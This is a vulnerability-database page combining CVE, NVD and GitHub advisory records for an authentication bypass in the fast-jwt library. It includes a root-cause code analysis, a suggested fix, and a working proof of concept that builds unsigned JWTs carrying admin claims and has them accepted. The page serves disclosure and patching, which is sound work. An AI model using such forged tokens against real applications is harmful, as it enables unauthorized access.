Vulnerability-Lookup

CVE-2026-107720 (GCVE-0-2026-107720)

Vulnerability from cvelistv5 – Published: 2026-10-08 21:44 – Updated: 2026-10-09 14:32

Title

fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set

Summary

fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.1, fast-jwt createVerifier accepts an unsigned JWT when key is an empty string or null and algorithms is a non-empty allowlist. Falsy synchronous keys bypass prepareKeyOrSecret, allowedAlgorithms remains active, hasKey is false, and the empty signature avoids the verifySignature gate. An attacker can therefore submit a token containing arbitrary claims without possessing a signing key, resulting in authentication or authorization bypass. Claim validators still run, and non-empty keys, an empty key without algorithms, and the async key resolver path do not have this behavior. This issue is fixed in version 6.3.1.

Severity

7.4 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-09 14:31 UTC

CWE

CWE-20 - Improper Input Validation
CWE-347 - Improper Verification of Cryptographic Signature

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7624 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/nearform/fast-jwt/security/adv…	x_refsource_CONFIRM
https://github.com/nearform/fast-jwt/pull/649	x_refsource_MISC
https://github.com/nearform/fast-jwt/commit/e22a1…	x_refsource_MISC
https://github.com/nearform/fast-jwt/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
nearform	fast-jwt	Affected: < 6.3.1	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-107720

Vulnerability from fkie_nvd - Published: 2026-10-08 22:17 - Updated: 2026-10-09 15:17

Severity

7.4 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/nearform/fast-jwt/commit/e22a151e83bf6d5e54e281216982d204d5665534
	security-advisories@github.com	https://github.com/nearform/fast-jwt/pull/649
	security-advisories@github.com	https://github.com/nearform/fast-jwt/releases/tag/v6.3.1
	security-advisories@github.com	https://github.com/nearform/fast-jwt/security/advisories/GHSA-8wpc-h4q6-8fxv
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/nearform/fast-jwt/security/advisories/GHSA-8wpc-h4q6-8fxv

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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GHSA-8WPC-H4Q6-8FXV

Vulnerability from github – Published: 2026-10-08 22:02 – Updated: 2026-10-08 22:02

Summary

fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set

Details

Summary

createVerifier in fast-jwt ≤ 6.3.0 skips signature verification entirely when the key option is a falsy synchronous value ('' or null) and the algorithms option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.

Details

Root cause — four cooperating code paths:

A. Falsy sync keys bypass prepareKeyOrSecret

createVerifier branches on typeof key:

const keyType = typeof key
if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') {
  throw new TokenError(/* ... */)
}
if (key && keyType !== 'function') {
  key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))
}

When key is '' (string, falsy) or null (object, falsy) the outer type check passes but the if (key && ...) guard never calls prepareKeyOrSecret. The empty-secret rejection added in that function is therefore never reached for sync keys:

function prepareKeyOrSecret(key, isSecret) {
  if (isSecret && key.length === 0) {
    throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.')
  }
  return isSecret ? createSecretKey(key) : createPublicKey(key)
}

B. Explicit algorithms keeps an allowlist active with no key

When key is falsy, autodetection is skipped and the caller-supplied algorithms (e.g. ['HS256']) is retained in allowedAlgorithms. The verifier therefore accepts tokens whose header matches that list.

C. hasKey is false → missing signature is permitted

const hasKey = key instanceof Buffer ? key.length : !!key

if (hasKey && !signature) {
  throw new TokenError(/* missingSignature */)
} else if (!hasKey && signature) {
  throw new TokenError(/* missingKey */)
}
// !hasKey && !signature → fall through with NO crypto

An unsigned token (header.payload.) produces signature === '', which is falsy, so both branches are skipped.

D. Signature check is gated on signature being truthy

if (signature && !verifySignature(header.alg, key, input, signature)) {
  throw new TokenError(/* invalidSignature */)
}

Empty signature → condition is false → verifySignature is never called.

E. Signer / verifier asymmetry

createSigner({ key: '' }) / key: null → rejected
createVerifier({ key: async () => '' }) → rejected (GHSA empty-secret tests)
createVerifier({ key: '' | null, algorithms: [...] }) → accepted, then verifies unsigned tokens

Ironically, the security best practice of setting algorithms enables the bypass. With algorithms omitted, allowedAlgorithms stays [] and every token fails closed.

Affected versions: confirmed on 6.3.0 (current main @ 378422c). This is an incomplete fix relative to the empty-secret hardening already applied for Buffer keys and async key functions (GHSA-gmvf lineage, PR #609).

PoC

cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install

// poc-empty-key-bypass.js
const { createVerifier } = require('.')

function unsigned(alg, claims) {
  const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url')
  const p = Buffer.from(JSON.stringify(claims)).toString('base64url')
  return `${h}.${p}.`  // trailing dot = empty signature
}

const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })

// Vulnerable: key '' + explicit algorithms allowlist
const verify = createVerifier({ key: '', algorithms: ['HS256'] })
console.log(verify(token))
// → { sub: 'attacker', admin: true, role: 'root' }

// Also works for RS256 / ES256 / EdDSA allowlists and key: null
console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true })))
// → { admin: true }

// Negative controls (correctly rejected):
try { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) }
  catch (e) { console.log('non-empty key:', e.code) }   // FAST_JWT_MISSING_SIGNATURE

try { createVerifier({ key: '' })(token) }
  catch (e) { console.log('empty key, no algorithms:', e.code) }  // FAST_JWT_INVALID_ALGORITHM

try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) }
  catch (e) { console.log('empty Buffer:', e.code) }   // FAST_JWT_INVALID_KEY

Expected: TokenError with code FAST_JWT_INVALID_KEY Actual: payload returned with no signature check

Impact

Full authentication / authorization bypass. Any application that:

Uses createVerifier with key: '' or key: null (common when a secret is read from an unset environment variable, e.g. process.env.JWT_SECRET || ''), and
Sets algorithms to a non-empty allowlist (a recommended security practice),

will accept attacker-crafted JWTs with arbitrary claims. Claim checks (exp, allowedSub, etc.) still run; only signature verification is skipped.

Suggested fix

In createVerifier, fail closed before binding the verifier:

if (keyType !== 'function') {
  if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) {
    throw new TokenError(TokenError.codes.invalidKey,
      'The key cannot be null, empty, or a zero-length buffer.')
  }
}

Also guard the combination explicitly:

if (!key && allowedAlgorithms.length > 0) {
  throw new TokenError(TokenError.codes.invalidKey,
    'The key cannot be falsy when algorithms is set.')
}

The async path (key function resolving to '') is already hardened via prepareKeyOrSecret and does not need to change.

Severity

7.4 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.3.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "fast-jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107720"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T22:02:12Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`createVerifier` in fast-jwt \u2264 6.3.0 skips signature verification entirely when the `key` option is a falsy synchronous value (`\u0027\u0027` or `null`) **and** the `algorithms` option is set to a non-empty allowlist. An attacker who can present a JWT to the application \u2014 regardless of algorithm \u2014 can forge arbitrary claims without possessing any signing key.\n\n### Details\n\n**Root cause \u2014 four cooperating code paths:**\n\n**A. Falsy sync keys bypass `prepareKeyOrSecret`**\n\n`createVerifier` branches on `typeof key`:\n\n```js\nconst keyType = typeof key\nif (keyType !== \u0027string\u0027 \u0026\u0026 keyType !== \u0027object\u0027 \u0026\u0026 keyType !== \u0027function\u0027) {\n  throw new TokenError(/* ... */)\n}\nif (key \u0026\u0026 keyType !== \u0027function\u0027) {\n  key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))\n}\n```\n\nWhen `key` is `\u0027\u0027` (string, falsy) or `null` (object, falsy) the outer type check passes but the `if (key \u0026\u0026 ...)` guard never calls `prepareKeyOrSecret`. The empty-secret rejection added in that function is therefore never reached for sync keys:\n\n```js\nfunction prepareKeyOrSecret(key, isSecret) {\n  if (isSecret \u0026\u0026 key.length === 0) {\n    throw new TokenError(TokenError.codes.invalidKey, \u0027The key cannot be an empty string or buffer.\u0027)\n  }\n  return isSecret ? createSecretKey(key) : createPublicKey(key)\n}\n```\n\n**B. Explicit `algorithms` keeps an allowlist active with no key**\n\nWhen `key` is falsy, autodetection is skipped and the caller-supplied `algorithms` (e.g. `[\u0027HS256\u0027]`) is retained in `allowedAlgorithms`. The verifier therefore accepts tokens whose header matches that list.\n\n**C. `hasKey` is false \u2192 missing signature is permitted**\n\n```js\nconst hasKey = key instanceof Buffer ? key.length : !!key\n\nif (hasKey \u0026\u0026 !signature) {\n  throw new TokenError(/* missingSignature */)\n} else if (!hasKey \u0026\u0026 signature) {\n  throw new TokenError(/* missingKey */)\n}\n// !hasKey \u0026\u0026 !signature \u2192 fall through with NO crypto\n```\n\nAn unsigned token (`header.payload.`) produces `signature === \u0027\u0027`, which is falsy, so both branches are skipped.\n\n**D. Signature check is gated on `signature` being truthy**\n\n```js\nif (signature \u0026\u0026 !verifySignature(header.alg, key, input, signature)) {\n  throw new TokenError(/* invalidSignature */)\n}\n```\n\nEmpty signature \u2192 condition is `false` \u2192 `verifySignature` is never called.\n\n**E. Signer / verifier asymmetry**\n\n- `createSigner({ key: \u0027\u0027 })` / `key: null` \u2192 **rejected**\n- `createVerifier({ key: async () =\u003e \u0027\u0027 })` \u2192 **rejected** (GHSA empty-secret tests)\n- `createVerifier({ key: \u0027\u0027 | null, algorithms: [...] })` \u2192 **accepted**, then verifies unsigned tokens\n\nIronically, the security best practice of setting `algorithms` **enables** the bypass. With `algorithms` omitted, `allowedAlgorithms` stays `[]` and every token fails closed.\n\n**Affected versions:** confirmed on 6.3.0 (current `main` @ 378422c).\nThis is an incomplete fix relative to the empty-secret hardening already applied for `Buffer` keys and `async` key functions (GHSA-gmvf lineage, PR #609).\n\n### PoC\n\n```bash\ncd /tmp \u0026\u0026 git clone --depth 1 https://github.com/nearform/fast-jwt.git \u0026\u0026 cd fast-jwt \u0026\u0026 npm install\n```\n\n```js\n// poc-empty-key-bypass.js\nconst { createVerifier } = require(\u0027.\u0027)\n\nfunction unsigned(alg, claims) {\n  const h = Buffer.from(JSON.stringify({ alg, typ: \u0027JWT\u0027 })).toString(\u0027base64url\u0027)\n  const p = Buffer.from(JSON.stringify(claims)).toString(\u0027base64url\u0027)\n  return `${h}.${p}.`  // trailing dot = empty signature\n}\n\nconst token = unsigned(\u0027HS256\u0027, { sub: \u0027attacker\u0027, admin: true, role: \u0027root\u0027 })\n\n// Vulnerable: key \u0027\u0027 + explicit algorithms allowlist\nconst verify = createVerifier({ key: \u0027\u0027, algorithms: [\u0027HS256\u0027] })\nconsole.log(verify(token))\n// \u2192 { sub: \u0027attacker\u0027, admin: true, role: \u0027root\u0027 }\n\n// Also works for RS256 / ES256 / EdDSA allowlists and key: null\nconsole.log(createVerifier({ key: null, algorithms: [\u0027RS256\u0027] })(unsigned(\u0027RS256\u0027, { admin: true })))\n// \u2192 { admin: true }\n\n// Negative controls (correctly rejected):\ntry { createVerifier({ key: \u0027secret\u0027, algorithms: [\u0027HS256\u0027] })(token) }\n  catch (e) { console.log(\u0027non-empty key:\u0027, e.code) }   // FAST_JWT_MISSING_SIGNATURE\n\ntry { createVerifier({ key: \u0027\u0027 })(token) }\n  catch (e) { console.log(\u0027empty key, no algorithms:\u0027, e.code) }  // FAST_JWT_INVALID_ALGORITHM\n\ntry { createVerifier({ key: Buffer.alloc(0), algorithms: [\u0027HS256\u0027] })(token) }\n  catch (e) { console.log(\u0027empty Buffer:\u0027, e.code) }   // FAST_JWT_INVALID_KEY\n```\n\n**Expected:** `TokenError` with code `FAST_JWT_INVALID_KEY`\n**Actual:** payload returned with no signature check\n\n### Impact\n\nFull authentication / authorization bypass. Any application that:\n\n1. Uses `createVerifier` with `key: \u0027\u0027` or `key: null` (common when a secret is read from an unset environment variable, e.g. `process.env.JWT_SECRET || \u0027\u0027`), **and**\n2. Sets `algorithms` to a non-empty allowlist (a recommended security practice),\n\nwill accept attacker-crafted JWTs with arbitrary claims. Claim checks (`exp`, `allowedSub`, etc.) still run; only signature verification is skipped.\n\n### Suggested fix\n\nIn `createVerifier`, fail closed before binding the verifier:\n\n```js\nif (keyType !== \u0027function\u0027) {\n  if (key === null || key === \u0027\u0027 || (Buffer.isBuffer(key) \u0026\u0026 key.length === 0)) {\n    throw new TokenError(TokenError.codes.invalidKey,\n      \u0027The key cannot be null, empty, or a zero-length buffer.\u0027)\n  }\n}\n```\n\nAlso guard the combination explicitly:\n\n```js\nif (!key \u0026\u0026 allowedAlgorithms.length \u003e 0) {\n  throw new TokenError(TokenError.codes.invalidKey,\n    \u0027The key cannot be falsy when algorithms is set.\u0027)\n}\n```\n\nThe async path (key function resolving to `\u0027\u0027`) is already hardened via `prepareKeyOrSecret` and does not need to change.",
  "id": "GHSA-8wpc-h4q6-8fxv",
  "modified": "2026-10-08T22:02:12Z",
  "published": "2026-10-08T22:02:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-8wpc-h4q6-8fxv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/pull/649"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/commit/e22a151e83bf6d5e54e281216982d204d5665534"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nearform/fast-jwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/releases/tag/v6.3.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-jwt: createVerifier accepts unsigned JWTs when key is \u0027\u0027 or null and algorithms is explicitly set"
}

Sightings

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
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Action not permitted

CVE-2026-107720 (GCVE-0-2026-107720)

FKIE_CVE-2026-107720

GHSA-8WPC-H4Q6-8FXV

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